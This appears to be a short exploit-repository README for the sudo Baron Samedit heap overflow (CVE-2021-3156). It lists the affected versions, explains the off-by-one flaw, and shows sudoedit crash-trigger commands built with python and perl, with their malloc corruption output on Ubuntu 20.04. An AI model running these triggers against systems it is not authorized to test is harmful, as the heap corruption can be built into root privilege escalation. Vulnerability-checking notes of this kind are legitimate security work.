Baron-Samedit-Heap-Buffer-Overflow-CVE-2021-3156

Version Vulnarable To The Exploit

The Baron Samedit vulnerability (CVE-2021-3156) affects sudo legacy versions 1.8.2 through 1.8.31p2 and stable versions 1.9.0 through 1.9.5p1. This heap-based buffer overflow flaw was introduced in July 2011 via commit 8255ed69 and remained undetected for nearly a decade

Sudo before 1.9.5p2 contains an off-by-one error that can result in a heap-based buffer overflow, which allows privilege escalation to root via "sudoedit -s" and a command-line argument that ends with a single backslash character.

Checking the vulnarability with python command

sudoedit -s '\' $(python3 -c 'print("A"*1000)')

malloc(): invalid size (unsorted)
Aborted

Checking the vulnarability with python command

sudoedit -s '\' `perl -e 'print "A" x 65536'`

malloc(): corrupted top size
Aborted (core dumped)

Ussage and Result in ubuntu 20.04

shuhaib@somebox:~$ sudo --version
Sudo version 1.8.31
Sudoers policy plugin version 1.8.31
Sudoers file grammar version 46
Sudoers I/O plugin version 1.8.31

shuhaib@somebox:~$ sudoedit -s '\' $(python3 -c 'print("A"*1000)')
malloc(): invalid size (unsorted)
Aborted (core dumped)

shuhaib@somebox:~$ sudoedit -s '\' `perl -e 'print "A" x 65536'`
malloc(): corrupted top size
Aborted (core dumped)